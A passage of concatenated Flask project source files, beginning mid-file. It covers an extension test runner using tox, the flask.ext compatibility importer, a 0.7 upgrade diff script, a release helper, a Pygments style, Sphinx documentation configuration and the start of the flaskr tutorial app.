                return '?'
        self.name = name
        self.license = fetch('license')
        self.author = fetch('author')
        self.version = fetch('version')

        self.logs = {}
        for interpreter in interpreters:
            logfile = os.path.join(folder, '.tox/%s/log/test.log'
                                   % interpreter)
            if os.path.isfile(logfile):
                self.logs[interpreter] = open(logfile).read()
            else:
                self.logs[interpreter] = ''


def create_tdir():
    try:
        shutil.rmtree(tdir)
    except Exception:
        pass
    os.mkdir(tdir)


def package_flask():
    distfolder = tdir + '/.flask-dist'
    c = subprocess.Popen(['python', 'setup.py', 'sdist', '--formats=gztar',
                          '--dist', distfolder], cwd=flaskdir)
    c.wait()
    return os.path.join(distfolder, os.listdir(distfolder)[0])


def get_test_command(checkout_dir):
    if os.path.isfile(checkout_dir + '/Makefile'):
        return 'make test'
    return 'python setup.py test'


def fetch_extensions_list():
    req = urllib2.Request(flask_svc_url, headers={'accept':'application/json'})
    d = urllib2.urlopen(req).read()
    data = json.loads(d)
    for ext in data['extensions']:
        yield ext


def checkout_extension(name):
    log('Downloading extension %s to temporary folder', name)
    root = os.path.join(tdir, name)
    os.mkdir(root)
    checkout_path = PackageIndex().download(name, root)

    unpack_archive(checkout_path, root)
    path = None
    for fn in os.listdir(root):
        path = os.path.join(root, fn)
        if os.path.isdir(path):
            break
    log('Downloaded to %s', path)
    return path


tox_template = """[tox]
envlist=%(env)s

[testenv]
deps=
  %(deps)s
  distribute
  py
commands=bash flaskext-runtest.sh {envlogdir}/test.log
downloadcache=%(cache)s
"""


def create_tox_ini(checkout_path, interpreters, flask_dep):
    tox_path = os.path.join(checkout_path, 'tox-flask-test.ini')
    if not os.path.exists(tox_path):
        with open(tox_path, 'w') as f:
            f.write(tox_template % {
                'env':      ','.join(interpreters),
                'cache':    tdir,
                'deps':     flask_dep
            })
    return tox_path


def iter_extensions(only_approved=True):
    for ext in fetch_extensions_list():
        if ext['approved'] or not only_approved:
            yield ext['name']


def test_extension(name, interpreters, flask_dep):
    checkout_path = checkout_extension(name)
    log('Running tests with tox in %s', checkout_path)

    # figure out the test command and write a wrapper script.  We
    # can't write that directly into the tox ini because tox does
    # not invoke the command from the shell so we have no chance
    # to pipe the output into a logfile.  The /dev/null hack is
    # to trick py.test (if used) into not guessing widths from the
    # invoking terminal.
    test_command = get_test_command(checkout_path)
    log('Test command: %s', test_command)
    f = open(checkout_path + '/flaskext-runtest.sh', 'w')
    f.write(test_command + ' &> "$1" < /dev/null\n')
    f.close()

    # if there is a tox.ini, remove it, it will cause troubles
    # for us.  Remove it if present, we are running tox ourselves
    # afterall.

    create_tox_ini(checkout_path, interpreters, flask_dep)
    rv = subprocess.call(['tox', '-c', 'tox-flask-test.ini'], cwd=checkout_path)
    return TestResult(name, checkout_path, rv, interpreters)


def run_tests(extensions, interpreters):
    results = {}
    create_tdir()
    log('Packaging Flask')
    flask_dep = package_flask()
    log('Running extension tests')
    log('Temporary Environment: %s', tdir)
    for name in extensions:
        log('Testing %s', name)
        result = test_extension(name, interpreters, flask_dep)
        if result.success:
            log('Extension test succeeded')
        else:
            log('Extension test failed')
        results[name] = result
    return results


def render_results(results, approved):
    from jinja2 import Template
    items = results.values()
    items.sort(key=lambda x: x.name.lower())
    rv = Template(RESULT_TEMPATE, autoescape=True).render(results=items,
                                                          approved=approved)
    fd, filename = tempfile.mkstemp(suffix='.html')
    os.fdopen(fd, 'w').write(rv.encode('utf-8') + '\n')
    return filename


def main():
    parser = argparse.ArgumentParser(description='Runs Flask extension tests')
    parser.add_argument('--all', dest='all', action='store_true',
                        help='run against all extensions, not just approved')
    parser.add_argument('--browse', dest='browse', action='store_true',
                        help='show browser with the result summary')
    parser.add_argument('--env', dest='env', default='py25,py26,py27',
                        help='the tox environments to run against')
    parser.add_argument('--extension=', dest='extension', default=None,
                        help='tests a single extension')
    args = parser.parse_args()

    if args.extension is not None:
        only_approved = False
        extensions = [args.extension]
    else:
        only_approved = not args.all
        extensions = iter_extensions(only_approved)

    results = run_tests(extensions, [x.strip() for x in args.env.split(',')])
    filename = render_results(results, only_approved)
    if args.browse:
        import webbrowser
        webbrowser.open('file:///' + filename.lstrip('/'))
    print('Results written to {}'.format(filename))


if __name__ == '__main__':
    main()






# -*- coding: utf-8 -*-
"""
    flaskext_compat
    ~~~~~~~~~~~~~~~

    Implements the ``flask.ext`` virtual package for versions of Flask
    older than 0.7.  This module is a noop if Flask 0.8 was detected.

    Usage::

        import flaskext_compat
        flaskext_compat.activate()
        from flask.ext import foo

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""
import types
import sys
import os


class ExtensionImporter(object):
    """This importer redirects imports from this submodule to other locations.
    This makes it possible to transition from the old flaskext.name to the
    newer flask_name without people having a hard time.
    """

    def __init__(self, module_choices, wrapper_module):
        self.module_choices = module_choices
        self.wrapper_module = wrapper_module
        self.prefix = wrapper_module + '.'
        self.prefix_cutoff = wrapper_module.count('.') + 1

    def __eq__(self, other):
        return self.__class__.__module__ == other.__class__.__module__ and \
               self.__class__.__name__ == other.__class__.__name__ and \
               self.wrapper_module == other.wrapper_module and \
               self.module_choices == other.module_choices

    def __ne__(self, other):
        return not self.__eq__(other)

    def install(self):
        sys.meta_path[:] = [x for x in sys.meta_path if self != x] + [self]

    def find_module(self, fullname, path=None):
        if fullname.startswith(self.prefix):
            return self

    def load_module(self, fullname):
        if fullname in sys.modules:
            return sys.modules[fullname]
        modname = fullname.split('.', self.prefix_cutoff)[self.prefix_cutoff]
        for path in self.module_choices:
            realname = path % modname
            try:
                __import__(realname)
            except ImportError:
                exc_type, exc_value, tb = sys.exc_info()
                # since we only establish the entry in sys.modules at the
                # end this seems to be redundant, but if recursive imports
                # happen we will call into the move import a second time.
                # On the second invocation we still don't have an entry for
                # fullname in sys.modules, but we will end up with the same
                # fake module name and that import will succeed since this
                # one already has a temporary entry in the modules dict.
                # Since this one "succeeded" temporarily that second
                # invocation now will have created a fullname entry in
                # sys.modules which we have to kill.
                sys.modules.pop(fullname, None)

                # If it's an important traceback we reraise it, otherwise
                # we swallow it and try the next choice.  The skipped frame
                # is the one from __import__ above which we don't care about.
                if self.is_important_traceback(realname, tb):
                    raise exc_type, exc_value, tb.tb_next
                continue
            module = sys.modules[fullname] = sys.modules[realname]
            if '.' not in modname:
                setattr(sys.modules[self.wrapper_module], modname, module)
            return module
        raise ImportError('No module named %s' % fullname)

    def is_important_traceback(self, important_module, tb):
        """Walks a traceback's frames and checks if any of the frames
        originated in the given important module.  If that is the case then we
        were able to import the module itself but apparently something went
        wrong when the module was imported.  (Eg: import of an import failed).
        """
        while tb is not None:
            if self.is_important_frame(important_module, tb):
                return True
            tb = tb.tb_next
        return False

    def is_important_frame(self, important_module, tb):
        """Checks a single frame if it's important."""
        g = tb.tb_frame.f_globals
        if '__name__' not in g:
            return False

        module_name = g['__name__']

        # Python 2.7 Behavior.  Modules are cleaned up late so the
        # name shows up properly here.  Success!
        if module_name == important_module:
            return True

        # Some python versions will clean up modules so early that the
        # module name at that point is no longer set.  Try guessing from
        # the filename then.
        filename = os.path.abspath(tb.tb_frame.f_code.co_filename)
        test_string = os.path.sep + important_module.replace('.', os.path.sep)
        return test_string + '.py' in filename or \
               test_string + os.path.sep + '__init__.py' in filename


def activate():
    import flask
    ext_module = types.ModuleType('flask.ext')
    ext_module.__path__ = []
    flask.ext = sys.modules['flask.ext'] = ext_module
    importer = ExtensionImporter(['flask_%s', 'flaskext.%s'], 'flask.ext')
    importer.install()






#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
    flask-07-upgrade
    ~~~~~~~~~~~~~~~~

    This command line script scans a whole application tree and attempts to
    output an unified diff with all the changes that are necessary to easily
    upgrade the application to 0.7 and to not yield deprecation warnings.

    This will also attempt to find `after_request` functions that don't modify
    the response and appear to be better suited for `teardown_request`.

    This application is indeed an incredible hack, but because what it
    attempts to accomplish is impossible to do statically it tries to support
    the most common patterns at least.  The diff it generates should be
    hand reviewed and not applied blindly without making backups.

    :copyright: (c) Copyright 2015 by Armin Ronacher.
    :license: see LICENSE for more details.
"""
from __future__ import print_function
import re
import os
import inspect
import difflib
import posixpath
from optparse import OptionParser

try:
    import ast
except ImportError:
    ast = None


TEMPLATE_LOOKAHEAD = 4096

_app_re_part = r'((?:[a-zA-Z_][a-zA-Z0-9_]*app)|app|application)'
_string_re_part = r"('([^'\\]*(?:\\.[^'\\]*)*)'" \
                  r'|"([^"\\]*(?:\\.[^"\\]*)*)")'

_from_import_re = re.compile(r'^\s*from flask import\s+')
_url_for_re = re.compile(r'\b(url_for\()(%s)' % _string_re_part)
_render_template_re = re.compile(r'\b(render_template\()(%s)' % _string_re_part)
_after_request_re = re.compile(r'((?:@\S+\.(?:app_)?))(after_request)(\b\s*$)(?m)')
_module_constructor_re = re.compile(r'([a-zA-Z0-9_][a-zA-Z0-9_]*)\s*=\s*Module'
                                    r'\(__name__\s*(?:,\s*(?:name\s*=\s*)?(%s))?' %
                                    _string_re_part)
_error_handler_re = re.compile(r'%s\.error_handlers\[\s*(\d+)\s*\]' % _app_re_part)
_mod_route_re = re.compile(r'@([a-zA-Z0-9_][a-zA-Z0-9_]*)\.route')
_blueprint_related = [
    (re.compile(r'request\.module'), 'request.blueprint'),
    (re.compile(r'register_module'), 'register_blueprint'),
    (re.compile(r'%s\.modules' % _app_re_part), '\\1.blueprints')
]


def make_diff(filename, old, new):
    for line in difflib.unified_diff(old.splitlines(), new.splitlines(),
                     posixpath.normpath(posixpath.join('a', filename)),
                     posixpath.normpath(posixpath.join('b', filename)),
                     lineterm=''):
        print(line)


def looks_like_teardown_function(node):
    returns = [x for x in ast.walk(node) if isinstance(x, ast.Return)]
    if len(returns) != 1:
        return
    return_def = returns[0]
    resp_name = node.args.args[0]
    if not isinstance(return_def.value, ast.Name) or \
       return_def.value.id != resp_name.id:
        return

    for body_node in node.body:
        for child in ast.walk(body_node):
            if isinstance(child, ast.Name) and \
               child.id == resp_name.id:
                if child is not return_def.value:
                    return

    return resp_name.id


def fix_url_for(contents, module_declarations=None):
    if module_declarations is None:
        skip_module_test = True
    else:
        skip_module_test = False
        mapping = dict(module_declarations)
    annotated_lines = []

    def make_line_annotations():
        if not annotated_lines:
            last_index = 0
            for line in contents.splitlines(True):
                last_index += len(line)
                annotated_lines.append((last_index, line))

    def backtrack_module_name(call_start):
        make_line_annotations()
        for idx, (line_end, line) in enumerate(annotated_lines):
            if line_end > call_start:
                for _, line in reversed(annotated_lines[:idx]):
                    match = _mod_route_re.search(line)
                    if match is not None:
                        shortname = match.group(1)
                        return mapping.get(shortname)

    def handle_match(match):
        if not skip_module_test:
            modname = backtrack_module_name(match.start())
            if modname is None:
                return match.group(0)
        prefix = match.group(1)
        endpoint = ast.literal_eval(match.group(2))
        if endpoint.startswith('.'):
            endpoint = endpoint[1:]
        elif '.' not in endpoint:
            endpoint = '.' + endpoint
        else:
            return match.group(0)
        return prefix + repr(endpoint)
    return _url_for_re.sub(handle_match, contents)


def fix_teardown_funcs(contents):

    def is_return_line(line):
        args = line.strip().split()
        return args and args[0] == 'return'

    def fix_single(match, lines, lineno):
        if not lines[lineno + 1].startswith('def'):
            return
        block_lines = inspect.getblock(lines[lineno + 1:])
        func_code = ''.join(block_lines)
        if func_code[0].isspace():
            node = ast.parse('if 1:\n' + func_code).body[0].body
        else:
            node = ast.parse(func_code).body[0]
        response_param_name = looks_like_teardown_function(node)
        if response_param_name is None:
            return
        before = lines[:lineno]
        decorator = [match.group(1) +
                     match.group(2).replace('after_', 'teardown_') +
                     match.group(3)]
        body = [line.replace(response_param_name, 'exception')
                for line in block_lines if
                not is_return_line(line)]
        after = lines[lineno + len(block_lines) + 1:]
        return before + decorator + body + after

    content_lines = contents.splitlines(True)
    while 1:
        found_one = False
        for idx, line in enumerate(content_lines):
            match = _after_request_re.match(line)
            if match is None:
                continue
            new_content_lines = fix_single(match, content_lines, idx)
            if new_content_lines is not None:
                content_lines = new_content_lines
                break
        else:
            break

    return ''.join(content_lines)


def get_module_autoname(filename):
    directory, filename = os.path.split(filename)
    if filename != '__init__.py':
        return os.path.splitext(filename)[0]
    return os.path.basename(directory)


def rewrite_from_imports(prefix, fromlist, lineiter):
    import_block = [prefix, fromlist]
    if fromlist[0] == '(' and fromlist[-1] != ')':
        for line in lineiter:
            import_block.append(line)
            if line.rstrip().endswith(')'):
                break
    elif fromlist[-1] == '\\':
        for line in lineiter:
            import_block.append(line)
            if line.rstrip().endswith('\\'):
                break

    return ''.join(import_block).replace('Module', 'Blueprint')


def rewrite_blueprint_imports(contents):
    new_file = []
    lineiter = iter(contents.splitlines(True))
    for line in lineiter:
        match = _from_import_re.search(line)
        if match is not None:
            new_file.extend(rewrite_from_imports(match.group(),
                                                 line[match.end():],
                                                 lineiter))
        else:
            new_file.append(line)
    return ''.join(new_file)


def rewrite_for_blueprints(contents, filename):
    modules_declared = []
    def handle_match(match):
        target = match.group(1)
        name_param = match.group(2)
        if name_param is None:
            modname = get_module_autoname(filename)
        else:
            modname = ast.literal_eval(name_param)
        modules_declared.append((target, modname))
        return '%s = %s' % (target, 'Blueprint(%r, __name__' % modname)
    new_contents = _module_constructor_re.sub(handle_match, contents)

    if modules_declared:
        new_contents = rewrite_blueprint_imports(new_contents)

    for pattern, replacement in _blueprint_related:
        new_contents = pattern.sub(replacement, new_contents)
    return new_contents, dict(modules_declared)


def upgrade_python_file(filename, contents, teardown):
    new_contents = contents
    if teardown:
        new_contents = fix_teardown_funcs(new_contents)
    new_contents, modules = rewrite_for_blueprints(new_contents, filename)
    new_contents = fix_url_for(new_contents, modules)
    new_contents = _error_handler_re.sub('\\1.error_handler_spec[None][\\2]',
                                         new_contents)
    make_diff(filename, contents, new_contents)


def upgrade_template_file(filename, contents):
    new_contents = fix_url_for(contents, None)
    make_diff(filename, contents, new_contents)


def walk_path(path):
    this_file = os.path.realpath(__file__).rstrip('c')
    for dirpath, dirnames, filenames in os.walk(path):
        dirnames[:] = [x for x in dirnames if not x.startswith('.')]
        for filename in filenames:
            filename = os.path.join(dirpath, filename)
            if os.path.realpath(filename) == this_file:
                continue
            if filename.endswith('.py'):
                yield filename, 'python'
            # skip files that are diffs.  These might be false positives
            # when run multiple times.
            elif not filename.endswith(('.diff', '.patch', '.udiff')):
                with open(filename) as f:
                    contents = f.read(TEMPLATE_LOOKAHEAD)
                if '{% for' or '{% if' or '{{ url_for' in contents:
                    yield filename, 'template'


def scan_path(path=None, teardown=True):
    for filename, type in walk_path(path):
        with open(filename) as f:
            contents = f.read()
        if type == 'python':
            upgrade_python_file(filename, contents, teardown)
        elif type == 'template':
            upgrade_template_file(filename, contents)


def main():
    """Entrypoint"""
    parser = OptionParser(usage='%prog [options] [paths]')
    parser.add_option('-T', '--no-teardown-detection', dest='no_teardown',
                      action='store_true', help='Do not attempt to '
                      'detect teardown function rewrites.')
    parser.add_option('-b', '--bundled-templates', dest='bundled_tmpl',
                      action='store_true', help='Indicate to the system '
                      'that templates are bundled with modules.  Default '
                      'is auto detect.')
    options, args = parser.parse_args()
    if not args:
        args = ['.']

    if ast is None:
        parser.error('Python 2.6 or later is required to run the upgrade script.')

    for path in args:
        scan_path(path, teardown=not options.no_teardown)


if __name__ == '__main__':
    main()






#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
    make-release
    ~~~~~~~~~~~~

    Helper script that performs a release.  Does pretty much everything
    automatically for us.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""
from __future__ import print_function
import sys
import os
import re
from datetime import datetime, date
from subprocess import Popen, PIPE

_date_clean_re = re.compile(r'(\d+)(st|nd|rd|th)')


def parse_changelog():
    with open('CHANGES') as f:
        lineiter = iter(f)
        for line in lineiter:
            match = re.search('^Version\s+(.*)', line.strip())
            if match is None:
                continue
            version = match.group(1).strip()
            if lineiter.next().count('-') != len(match.group(0)):
                continue
            while 1:
                change_info = lineiter.next().strip()
                if change_info:
                    break

            match = re.search(r'released on (\w+\s+\d+\w+\s+\d+)'
                              r'(?:, codename (.*))?(?i)', change_info)
            if match is None:
                continue

            datestr, codename = match.groups()
            return version, parse_date(datestr), codename


def bump_version(version):
    try:
        parts = map(int, version.split('.'))
    except ValueError:
        fail('Current version is not numeric')
    parts[-1] += 1
    return '.'.join(map(str, parts))


def parse_date(string):
    string = _date_clean_re.sub(r'\1', string)
    return datetime.strptime(string, '%B %d %Y')


def set_filename_version(filename, version_number, pattern):
    changed = []

    def inject_version(match):
        before, old, after = match.groups()
        changed.append(True)
        return before + version_number + after
    with open(filename) as f:
        contents = re.sub(r"^(\s*%s\s*=\s*')(.+?)(')(?sm)" % pattern,
                          inject_version, f.read())

    if not changed:
        fail('Could not find %s in %s', pattern, filename)

    with open(filename, 'w') as f:
        f.write(contents)


def set_init_version(version):
    info('Setting __init__.py version to %s', version)
    set_filename_version('flask/__init__.py', version, '__version__')


def build_and_upload():
    Popen([sys.executable, 'setup.py', 'release', 'sdist', 'bdist_wheel', 'upload']).wait()


def fail(message, *args):
    print('Error:', message % args, file=sys.stderr)
    sys.exit(1)


def info(message, *args):
    print(message % args, file=sys.stderr)


def get_git_tags():
    return set(Popen(['git', 'tag'], stdout=PIPE).communicate()[0].splitlines())


def git_is_clean():
    return Popen(['git', 'diff', '--quiet']).wait() == 0


def make_git_commit(message, *args):
    message = message % args
    Popen(['git', 'commit', '-am', message]).wait()


def make_git_tag(tag):
    info('Tagging "%s"', tag)
    Popen(['git', 'tag', tag]).wait()


def main():
    os.chdir(os.path.join(os.path.dirname(__file__), '..'))

    rv = parse_changelog()
    if rv is None:
        fail('Could not parse changelog')

    version, release_date, codename = rv
    dev_version = bump_version(version) + '-dev'

    info('Releasing %s (codename %s, release date %s)',
         version, codename, release_date.strftime('%d/%m/%Y'))
    tags = get_git_tags()

    if version in tags:
        fail('Version "%s" is already tagged', version)
    if release_date.date() != date.today():
        fail('Release date is not today (%s != %s)',
             release_date.date(), date.today())

    if not git_is_clean():
        fail('You have uncommitted changes in git')

    set_init_version(version)
    make_git_commit('Bump version number to %s', version)
    make_git_tag(version)
    build_and_upload()
    set_init_version(dev_version)


if __name__ == '__main__':
    main()






# flasky extensions.  flasky pygments style based on tango style
from pygments.style import Style
from pygments.token import Keyword, Name, Comment, String, Error, \
     Number, Operator, Generic, Whitespace, Punctuation, Other, Literal


class FlaskyStyle(Style):
    background_color = "#f8f8f8"
    default_style = ""

    styles = {
        # No corresponding class for the following:
        #Text:                     "", # class:  ''
        Whitespace:                "underline #f8f8f8",      # class: 'w'
        Error:                     "#a40000 border:#ef2929", # class: 'err'
        Other:                     "#000000",                # class 'x'

        Comment:                   "italic #8f5902", # class: 'c'
        Comment.Preproc:           "noitalic",       # class: 'cp'

        Keyword:                   "bold #004461",   # class: 'k'
        Keyword.Constant:          "bold #004461",   # class: 'kc'
        Keyword.Declaration:       "bold #004461",   # class: 'kd'
        Keyword.Namespace:         "bold #004461",   # class: 'kn'
        Keyword.Pseudo:            "bold #004461",   # class: 'kp'
        Keyword.Reserved:          "bold #004461",   # class: 'kr'
        Keyword.Type:              "bold #004461",   # class: 'kt'

        Operator:                  "#582800",   # class: 'o'
        Operator.Word:             "bold #004461",   # class: 'ow' - like keywords

        Punctuation:               "bold #000000",   # class: 'p'

        # because special names such as Name.Class, Name.Function, etc.
        # are not recognized as such later in the parsing, we choose them
        # to look the same as ordinary variables.
        Name:                      "#000000",        # class: 'n'
        Name.Attribute:            "#c4a000",        # class: 'na' - to be revised
        Name.Builtin:              "#004461",        # class: 'nb'
        Name.Builtin.Pseudo:       "#3465a4",        # class: 'bp'
        Name.Class:                "#000000",        # class: 'nc' - to be revised
        Name.Constant:             "#000000",        # class: 'no' - to be revised
        Name.Decorator:            "#888",           # class: 'nd' - to be revised
        Name.Entity:               "#ce5c00",        # class: 'ni'
        Name.Exception:            "bold #cc0000",   # class: 'ne'
        Name.Function:             "#000000",        # class: 'nf'
        Name.Property:             "#000000",        # class: 'py'
        Name.Label:                "#f57900",        # class: 'nl'
        Name.Namespace:            "#000000",        # class: 'nn' - to be revised
        Name.Other:                "#000000",        # class: 'nx'
        Name.Tag:                  "bold #004461",   # class: 'nt' - like a keyword
        Name.Variable:             "#000000",        # class: 'nv' - to be revised
        Name.Variable.Class:       "#000000",        # class: 'vc' - to be revised
        Name.Variable.Global:      "#000000",        # class: 'vg' - to be revised
        Name.Variable.Instance:    "#000000",        # class: 'vi' - to be revised

        Number:                    "#990000",        # class: 'm'

        Literal:                   "#000000",        # class: 'l'
        Literal.Date:              "#000000",        # class: 'ld'

        String:                    "#4e9a06",        # class: 's'
        String.Backtick:           "#4e9a06",        # class: 'sb'
        String.Char:               "#4e9a06",        # class: 'sc'
        String.Doc:                "italic #8f5902", # class: 'sd' - like a comment
        String.Double:             "#4e9a06",        # class: 's2'
        String.Escape:             "#4e9a06",        # class: 'se'
        String.Heredoc:            "#4e9a06",        # class: 'sh'
        String.Interpol:           "#4e9a06",        # class: 'si'
        String.Other:              "#4e9a06",        # class: 'sx'
        String.Regex:              "#4e9a06",        # class: 'sr'
        String.Single:             "#4e9a06",        # class: 's1'
        String.Symbol:             "#4e9a06",        # class: 'ss'

        Generic:                   "#000000",        # class: 'g'
        Generic.Deleted:           "#a40000",        # class: 'gd'
        Generic.Emph:              "italic #000000", # class: 'ge'
        Generic.Error:             "#ef2929",        # class: 'gr'
        Generic.Heading:           "bold #000080",   # class: 'gh'
        Generic.Inserted:          "#00A000",        # class: 'gi'
        Generic.Output:            "#888",           # class: 'go'
        Generic.Prompt:            "#745334",        # class: 'gp'
        Generic.Strong:            "bold #000000",   # class: 'gs'
        Generic.Subheading:        "bold #800080",   # class: 'gu'
        Generic.Traceback:         "bold #a40000",   # class: 'gt'
    }






import re
import inspect


_internal_mark_re = re.compile(r'^\s*:internal:\s*$(?m)')


def skip_member(app, what, name, obj, skip, options):
    docstring = inspect.getdoc(obj)
    if skip:
        return True
    return _internal_mark_re.search(docstring or '') is not None


def setup(app):
    app.connect('autodoc-skip-member', skip_member)






# -*- coding: utf-8 -*-
#
# Flask documentation build configuration file, created by
# sphinx-quickstart on Tue Apr  6 15:24:58 2010.
#
# This file is execfile()d with the current directory set to its containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.
from __future__ import print_function
from datetime import datetime
import os
import sys
import pkg_resources

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
sys.path.append(os.path.join(os.path.dirname(__file__), '_themes'))
sys.path.append(os.path.dirname(__file__))

# -- General configuration -----------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
#needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be extensions
# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
extensions = [
    'sphinx.ext.autodoc',
    'sphinx.ext.intersphinx',
    'flaskdocext'
]

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# The suffix of source filenames.
source_suffix = '.rst'

# The encoding of source files.
#source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = u'Flask'
copyright = u'2010 - {0}, Armin Ronacher'.format(datetime.utcnow().year)

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
try:
    release = pkg_resources.get_distribution('Flask').version
except pkg_resources.DistributionNotFound:
    print('Flask must be installed to build the documentation.')
    print('Install from source using `pip install -e .` in a virtualenv.')
    sys.exit(1)

if 'dev' in release:
    release = ''.join(release.partition('dev')[:2])

version = '.'.join(release.split('.')[:2])

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#language = None

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']

# The reST default role (used for this markup: `text`) to use for all documents.
#default_role = None

# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False

# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []


# -- Options for HTML output ---------------------------------------------------

# The theme to use for HTML and HTML Help pages.  Major themes that come with
# Sphinx are currently 'default' and 'sphinxdoc'.
# html_theme = 'default'

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
# html_theme_options = {}

# Add any paths that contain custom themes here, relative to this directory.
html_theme_path = ['_themes']

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
#html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
#html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.  Do not set, template magic!
#html_logo = None

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
html_favicon = '_static/flask-favicon.ico'

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
html_sidebars = {
    'index': [
        'sidebarintro.html',
        'sourcelink.html',
        'searchbox.html'
    ],
    '**': [
        'sidebarlogo.html',
        'localtoc.html',
        'relations.html',
        'sourcelink.html',
        'searchbox.html'
    ]
}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}

# If false, no module index is generated.
html_use_modindex = False

# If false, no index is generated.
#html_use_index = True

# If true, the index is split into individual pages for each letter.
#html_split_index = False

# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
html_show_sphinx = False

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''

# If nonempty, this is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = ''

# Output file base name for HTML help builder.
htmlhelp_basename = 'Flaskdoc'


# -- Options for LaTeX output --------------------------------------------------

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title, author, documentclass [howto/manual]).
latex_documents = [
  ('latexindex', 'Flask.tex', u'Flask Documentation', u'Armin Ronacher', 'manual'),
]

# Documents to append as an appendix to all manuals.
#latex_appendices = []

# If false, no module index is generated.
latex_use_modindex = False

latex_elements = {
    'fontpkg': r'\usepackage{mathpazo}',
    'papersize': 'a4paper',
    'pointsize': '12pt',
    'preamble': r'\usepackage{flaskstyle}'
}
latex_use_parts = True

latex_additional_files = ['flaskstyle.sty', 'logo.pdf']


# -- Options for Epub output ---------------------------------------------------

# Bibliographic Dublin Core info.
#epub_title = ''
#epub_author = ''
#epub_publisher = ''
#epub_copyright = ''

# The language of the text. It defaults to the language option
# or en if the language is not set.
#epub_language = ''

# The scheme of the identifier. Typical schemes are ISBN or URL.
#epub_scheme = ''

# The unique identifier of the text. This can be a ISBN number
# or the project homepage.
#epub_identifier = ''

# A unique identification for the text.
#epub_uid = ''

# HTML files that should be inserted before the pages created by sphinx.
# The format is a list of tuples containing the path and title.
#epub_pre_files = []

# HTML files shat should be inserted after the pages created by sphinx.
# The format is a list of tuples containing the path and title.
#epub_post_files = []

# A list of files that should not be packed into the epub file.
#epub_exclude_files = []

# The depth of the table of contents in toc.ncx.
#epub_tocdepth = 3

intersphinx_mapping = {
    'python': ('https://docs.python.org/3/', None),
    'werkzeug': ('http://werkzeug.pocoo.org/docs/', None),
    'click': ('http://click.pocoo.org/', None),
    'jinja': ('http://jinja.pocoo.org/docs/', None),
    'sqlalchemy': ('http://docs.sqlalchemy.org/en/latest/', None),
    'wtforms': ('https://wtforms.readthedocs.io/en/latest/', None),
    'blinker': ('https://pythonhosted.org/blinker/', None)
}

try:
    __import__('flask_theme_support')
    pygments_style = 'flask_theme_support.FlaskyStyle'
    html_theme = 'flask'
    html_theme_options = {
        'touch_icon': 'touch-icon.png'
    }
except ImportError:
    print('-' * 74)
    print('Warning: Flask themes unavailable.  Building with default theme')
    print('If you want the Flask themes, run this command and build again:')
    print()
    print('  git submodule update --init')
    print('-' * 74)


# unwrap decorators
def unwrap_decorators():
    import sphinx.util.inspect as inspect
    import functools

    old_getargspec = inspect.getargspec
    def getargspec(x):
        return old_getargspec(getattr(x, '_original_function', x))
    inspect.getargspec = getargspec

    old_update_wrapper = functools.update_wrapper
    def update_wrapper(wrapper, wrapped, *a, **kw):
        rv = old_update_wrapper(wrapper, wrapped, *a, **kw)
        rv._original_function = wrapped
        return rv
    functools.update_wrapper = update_wrapper

unwrap_decorators()
del unwrap_decorators






from setuptools import setup

setup(
    name='flaskr',
    packages=['flaskr'],
    include_package_data=True,
    install_requires=[
        'flask',
    ],
    setup_requires=[
        'pytest-runner',
    ],
    tests_require=[
        'pytest',
    ],
)






# -*- coding: utf-8 -*-
"""
    Flaskr
    ~~~~~~

    A microblog example application written as Flask tutorial with
    Flask and sqlite3.

    :copyright: (c) 2015 by Armin Ronacher.
    :license: BSD, see LICENSE for more details.
"""

import os
from sqlite3 import dbapi2 as sqlite3
from flask import Flask, request, session, g, redirect, url_for, abort, \
     render_template, flash


# create our little application :)
app = Flask(__name__)

